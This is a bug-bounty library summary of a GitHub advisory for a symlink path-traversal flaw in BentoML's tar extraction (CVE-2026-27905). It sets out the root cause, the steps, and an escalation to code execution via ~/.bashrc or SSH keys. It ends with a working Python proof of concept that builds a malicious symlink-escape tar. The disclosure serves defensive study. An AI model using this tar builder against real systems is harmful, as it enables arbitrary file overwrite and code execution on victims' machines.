# BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction

BentoML's safe_extract_tarfile validated member paths but not symlink targets, letting a malicious bento tar write arbitrary files outside the extraction dir.

- Payout: Research
- Severity: high
- Program: BentoML
- Found by: q1uf3ng
- Disclosed: 2026-03-03
- CVE: CVE-2026-27905
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-m6w7-qv66-g3mf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-m6w7-qv66-g3mf
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:file-upload vuln:path-traversal

**Target:** safe_extract_tarfile() in src/bentoml/_internal/utils/filesystem.py
**Root cause:** The path check uses os.path.abspath + is_relative_to on the member's own name, which does not resolve symlinks; symlink linkname targets are never validated, and the subsequent open(path,'wb') follows the symlink outside the destination.
**Steps:**
1. Build a tar.gz containing a SYMTYPE member `escape` with `linkname` set to an outside directory (e.g. `/etc` or a temp dir).
2. Add a regular file member `escape/pwned.txt` with the payload.
3. Call safe_extract_tarfile (or the reproduced loop): the symlink member passes the is_relative_to check and is created via `tar._extract_member`.
4. The regular file's path `escape/pwned.txt` also passes the check, but `open(path,'wb')` follows the symlink and writes to the outside target.
5. Verify the file exists outside the extraction directory.
**How found:** Code review of safe_extract_tarfile: noticed the is_relative_to check operates on the abspath string (which doesn't resolve symlinks) and that symlink linkname is never validated before open() follows it.
**Exploitation:** Attacker crafts a malicious bento/model tar and shares it or publishes it on BentoCloud; when a victim pulls the bento, safe_extract_tarfile (bento.py:542, model.py:504) extracts it, writing attacker-controlled content to any writable path such as ~/.bashrc, ~/.ssh/authorized_keys, crontabs or Python site-packages, yielding code execution on next shell/login/import.
**Escalation:** Arbitrary file write escalated to RCE by overwriting ~/.bashrc or Python site-packages; BentoCloud-hosted malicious bentos scale the attack to any system that pulls them.
**Insight:** When auditing tar/zip extractors, check whether the containment check resolves symlinks and whether symlink linkname targets are validated separately from member names; abspath/normpath alone won't catch a symlink-then-write two-member chain.

## Proof of concept (copied exactly from the original report)

**Malicious tar builder with symlink escape**

```
def create_malicious_tar(target_dir, target_file, payload):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w:gz') as tar:
        sym = tarfile.TarInfo(name='escape')
        sym.type = tarfile.SYMTYPE
        sym.linkname = target_dir
        tar.addfile(sym)
        info = tarfile.TarInfo(name=f'escape/{target_file}')
        info.size = len(payload)
        tar.addfile(info, io.BytesIO(payload))
    buf.seek(0)
    return buf
```

**Reproduction loop writing through symlink**

```
os.makedirs(extract_dir, exist_ok=True)
    for member in tar.getmembers():
        path = os.path.abspath(os.path.join(extract_dir, member.name))
        if not Path(path).is_relative_to(extract_dir): continue
        if member.issym():
            tar._extract_member(member, path)  # Symlink target NOT checked
        else:
            fp = tar.extractfile(member)
            os.makedirs(os.path.dirname(path), exist_ok=True)
            if fp:
                with open(path, 'wb') as destfp:  # Follows symlink!
                    shutil.copyfileobj(fp, destfp)
    
    assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
    print(open(os.path.join(target_dir, 'pwned.txt')).read())  # PWNED
```

